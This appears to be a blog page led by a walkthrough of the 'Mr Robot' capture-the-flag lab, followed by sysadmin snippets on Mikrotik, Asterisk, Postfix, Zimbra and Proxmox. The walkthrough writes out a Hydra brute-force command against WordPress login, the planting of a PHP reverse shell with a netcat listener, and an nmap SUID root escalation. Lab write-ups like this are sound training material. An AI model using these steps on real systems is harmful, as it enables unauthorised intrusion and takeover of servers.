CategoriesCTF Write-UpsCybersecurity

walkthrough: { type: “ctf”​, name: “Mr Robot”​ }

This is a copy of the short write-up of the capture the flag (CTF) challenge “Mr Robot” that i had posted to LinkedIn originally, and the steps I took in gaining all three flags. This is still one of the more popular CTF challenges – and was quite fun to get into.

We’ll start the challenge with a bit of enumeration, first step being doing an nmap scan on the host.


First thing we observe there are two services hosted, on ports 80 and 443 respectively – based on the port numbers these should be HTTP and HTTPs services. Let’s try open up the services in the browser to see if it’s displaying the same content.

Repeating this on the HTTPS port, shows the same page – served using a self signed certificate

The website appears to be some form of web-terminal, and displays some commands that you can execute. Lets test them sequentially, starting with prepare

It appears this just loads a short video about FSociety. Same thing occurs on the other menu options. Moving on, lets do a bit of web discovery. I always like to start with checking robots.txt, sometimes there are some hidden gems in it.

Hmmm, lets try grab the files referenced in the last two lines of the robots file

curl -O fsocity.dic

Taking a quick look at the contents, appears to be a password dump. Lets save this for use later

Looking at the second file, we have our first flag!

Now, time to figure out what else is on this webserver. To do this, we use a tool called gobuster.

After letting gobuster run for a short while, we observe there are a couple of directories prefixed with wp- this is indicative that the site is running a well known CMS called WordPress. Time to shift focus, and see if we can get to the WordPress backend on /wp-admin

Ok, so access to the admin page is not restricted. Lets try authenticate with a random username. In the first attempt, I tried a combination of user and password.

Notice the error warns us of an invalid username. We might be able to leverage this to bruteforce wordpress and identify a valid username. We’re going to use a tool called Burp Suite for this. I won’t go into detail on how to set up the connection between the browser and Burp. After configuring Burp to intercept the browsers traffic, I tried sending user/user as the credentials to the WP login page. Grabbing the request in HTTP History, we then send it to Intruder (CTRL+I)

We’ll load the fsocity.dic list into the payload options and set the payload position to override the requests username. Hoping we can identify a username that’s valid.

Now, after starting the attack – we notice one payload returns a different length. So the response must be slightly different to the others… Lets take a closer look

Most of the responses have a length of 4061, and in the body “Invalid username”. However, one has a slightly different length – 4112. This one shows a different error in the response, specifically that the password is wrong. This tells us that there is a login called “Elliot” on this wordpress instance.

Right, having identified a possible username we change our Intruder configuration slightly. Lets use the file fsocity.dic as the data source, but change the payload to apply to the password. We’ll statically set the login to Elliot.

After waiting a while, i got bored of watching the Burp Intruder results process so slowly – so switched tactics, and changed my attack to use Hydra. The only difference here, was i deduped the fsocity.dic file – as i noticed it contained a ton of duplicates.

cat fsocity.dic | sort | uniq | sort > fsocity.dic.nodup

hydra -V -l Elliot -P fsocity.dic.nodup http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In'

This was a LOT quicker than Burp to get a result. Probably because i didn’t notice the duplicates in fsocity.dic when i ran it through Burp. #facepalm. We now know that Elliot’s password is “ER28-0652”. Let’s test these credentials on /wp-login.php

We’re in! Time to poke around… Lets try get a shell onto the box. The easiest way to do this will be to edit one of the themes PHP files, inserting a php shell/reverse shell. We’ll edit the shell so it knows to connect back to our Attackbox IP (

root@ip-10-10-9-250~# cp /usr/share/webshells/php/php-reverse-shell.php ./
root@ip-10-10-9-250~# sed -i 's/PUT_THM_ATTACKBOX_IP_HERE/' php-reverse-shell.php

Now, copy & paste the contents of the php script into one of the .php templates in the theme editor. Something to note, this should NEVER be done on a customers live system. It’ll cause all sorts of havoc. Start a netcat listener (nc -lvnp PORT), and try open the 404.php page on the site. If this works, we will get a reverse shell.

Awesome, we’ve got a shell! We’ll take a look at the local users directory first, might be something of interest there.. First thing to do, upgrade the shell so it’s easier to interact with. (thank you pty.spawn!)

$ python -c 'import pty;pty.spawn("/bin/bash")'
daemon@linux:/home/robot$ cd /home
cd /home
daemon@linux:/home$ ls -l
ls -l
total 4
drwxr-xr-x 2 root root 4096 Nov 13  2015 robot

daemon@linux:/home/robot$ cd /home/robot
cd /home/robot
daemon@linux:/home/robot$ ls -l
ls -l
total 8
-r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5

daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5

Ok, so we found two files – one we can’t open and another that appears to contain a user/password hash combo. Checking if the hash exists on was successful! Saves us the effort involved in trying to break the password locally. Lets see if we can su to the user ‘robot’.

daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ whoami
robot@linux:~$ cd ~
cd ~
robot@linux:~$ ls
key-2-of-3.txt	password.raw-md5
robot@linux:~$ cat key*
cat key*

Excellent, so we’ve now got the second flag! We’re still not root though, and still do not have the 3rd flag. Lets look for any tools that might have the SUID bit set.

So, we can see several binaries that have suid set. However, one pops out pretty quickly – nmap, as it has an interactive mode that might allow us shell access. Lets give it a try.

Right, this appears straightforward – lets try nmap –interactive and see if we can get into /root

We have successfully gotten root! And the third flag! Woop!

This box is kind of Iconic, with it’s reference to the Mr Robot TV Series. Been meaning to try it for a while, but had my focus elsewhere. Definitely enjoyable to play with, although not as difficult as it could have been. I’m pretty sure there are other methods to getting a foothold on this CTF, perhaps through one of the wordpress themes or plugins. Might try it again in a few weeks and see if there is another entry point.

I realize this isn’t as short as i mentioned in the first paragraph. I did rabbithole a bit poking around the box. Hopefully this article makes sense & is enjoyable to those who do decide to read it 🙂



Mikrotik Voltage Alarm/Beeper

I recently needed to make my routerboard generate an audible alarm based on voltage thresholds on the 12v battery wired directly to the RB2011.
This script was a modification of something i found when perusing the Mikrotik forums.
Change lowvoltage and highvoltage to suite your requirements.

#set lowvoltalarm to desired alarm voltage in tenths of a volt. 125 = 12.5v
:global lowvoltalarm 116
:global highvoltalarm 129
:global highvolt
:global lowvolt
:global starttime
:global hivolttime
:global lovolttime
:global vh
:local thisbox [/system identity get name]
:global voltage [/system health get voltage]
:local thistime [/system clock get time]
:local thisdate [/system clock get date]
:local thishour [:pick $thistime 0 2]
:local emessage ($thisbox . " voltage is: " . [:pick $voltage 0 2] . "." . [:pick $voltage 2 3])
:if ([:len $lowvolt] < 1) do={:set lowvolt 999; :set highvolt 0}
# set your email address in the next line
:if ($voltage <= $lowvoltalarm) do={
:for i from=1 to=20 step=1 do={
:beep as-value frequency=4000;
:delay 1
:put "Low voltage"
if ($voltage > $lowvoltalarm) do={
:put "Normal" 

Docker | Asterisk 16

While working on another project, (Callcenter suite) – i built a relatively lightweight Asterisk 16 image which was being used as the base image for a series of ARI tests.

I decided to release this to the open-source community, to try and motivate more people to start looking at using docker as a viable solution for voip builds. (Just please – don’t do NAT, bridge/route your networks!)

This image is also available on docker-hub, just do the below command to pull the image down to your local library.

docker pull keithrosezw/ubuntu18-asterisk16

Once you start this container, it automatically fires off asterisk with in console mode with 5 levels of verbosity specified. Note that for production you should NOT leave this in console mode. Override the startup script and start asterisk as a background process else the console thread will consume 100% of one CPU core. (This was visible when scaling the service using docker-compose)

I’m now using this image as the base image in a scalable call-center solution that I will be releasing to the public sometime in 2020.


Puppet & Chocolatey – Install GDrive Stream

Experimenting with Puppet & Chocolatey on Windows. Little snippet to install Google Drive Stream.

class windows::google_drive_stream {
Package {
  provider => 'chocolatey'
package { 'google-drive-file-stream':
  ensure => installed,

Postfix SMTP Sender Routing

Recently, I had need of setting up a postfix “smtp router” to distribute mail from various users among a cluster of outbound relays (on unique exit IP’s, with difference QoS policies applied)
Part of the functionality that was desired was the ability to route “priority” users and “bulk” users via different cluster members.

Step 1 – Upgrade postfix to > 3.1.x

Not going to tell you what to do here. google! is your friend.

Step 2 – Edit /etc/postfix/, add the following line to the bottom of the configurations.

$ vim /etc/postfix/
sender_dependent_default_transport_maps = hash:/etc/postfix/sender_transport_maps

Step 3 – Create the transport maps

Using your favorite editor (Vim/Nano/Vi) edit the postfix transport maps.

$ vim /etc/postfix/sender_transport_maps
# Priority Senders
# priority.smtprelay is configured in /etc/hosts to resolve to SMTP relay reserved for Priority users (duh) with higher bandwidth. smtp:[priority.smtprelay] smtp:[priority.smtprelay]
# Bulk Senders
# bulk.smtprelay resolves to a relay with less bandwidth smtp:[bulk.smtprelay] smtp:[bulk.smtprelay]
# All other mail delivers via the relay configured in relayhost= on OR via direct MX

Step 4 – Hash the configurations done above

$ postmap /etc/postfix/sender_transport_maps

Step 5 – Restart postfix

$ /etc/init.d/postfix restart

Step 6 – Analyze Logs
Tail the logs, and watch your mail get distributed between your relays.

$ tail -f /var/log/maillog

Perl Get Active Queue Size (NetXMS/PRTG Use case)

The following Perl script gets the size of the Postfix Active queue and outputs it.
(Used for queue monitoring on our NMS via SSH sensors, but might be useful in your environment)

#!/usr/bin/env perl
use strict;
use warnings;
use Symbol;
sub count {
my ($dir) = @_;
my $dh = gensym();
my $c = 0;
opendir($dh, $dir) or die "$0: opendir: $dir: $!\n";
while (my $f = readdir($dh)) {
if ($f =~ m{^[A-F0-9]{5,}$}) {
} elsif ($f =~ m{^[A-F0-9]$}) {
$c += count("$dir/$f");
closedir($dh) or die "closedir: $dir: $!\n";
return $c;
my $qdir = `postconf -h queue_directory`;
chdir($qdir) or die "$0: chdir: $qdir: $!\n";
printf count("active\n");

The output from this is extremely short – just the queue size, nothing else.

[root@home kscripts]# ./
[root@home kscripts]#


Zimbra SASL Errors

If you’re observing errors on your Zimbra servers’ mail-log similar to the one below, and your users are reporting password prompts on ‘sending’ e-mails.
Nov 24 17:12:07 areto postfix/smtpd[5528]: warning: SASL authentication failure: cannot connect to saslauthd server: Connection refused
Run the following commands under your servers root user.
ln -s /var/spool/postfix/var/run/saslauthd /var/run/saslauthd
zmcontrol restart

After Zimbra finishes restarting all the services, get your users to re-try sending mail.


Proxmox – Remove local LVM

I’m  a big Proxmox fan, having deployed more than 20 systems both at customers and on my home lab this year without drama. However, the Proxmox LVM structure bugs the heck out of me. I prefer to utilize a single LVM Volume due to some weird glitches with LXC images and small root LVM partitions. (Not perfect for production, but works for my environment as everything is stored on NFS)

Run the following as root, on your proxmox server. (Change +200GB to what is appropriate for your system)


lvremove /dev/pve/data
lvresize -L +200GB /dev/pve/root
resize2fs /dev/mapper/pve-root



Fortinet/Cisco IPSec VPN – Asterisk Peer Unreachable

Recently, i had to troubleshoot an Asterisk to Asterisk trunk which was running across a site to site IPSec VPN. (Fortinet to Cisco)
After running tcpdump “port 5060 and proto UDP” on either end, I discovered traffic from the Cisco end was not reaching the PBX behind the Fortinet. Packet capture on the Fortinet showed traffic being matched, and classified as SIP.
We had done the usual commands to stop the Fortigate from acting as a SIP ALG, but nothing was working. After a bit of tinkering, i found that the following command fixed our problem. (Basically fooled the Fortigate into thinking SIP traffic, was not SIP)

config system settings
 set sip-udp-port 5067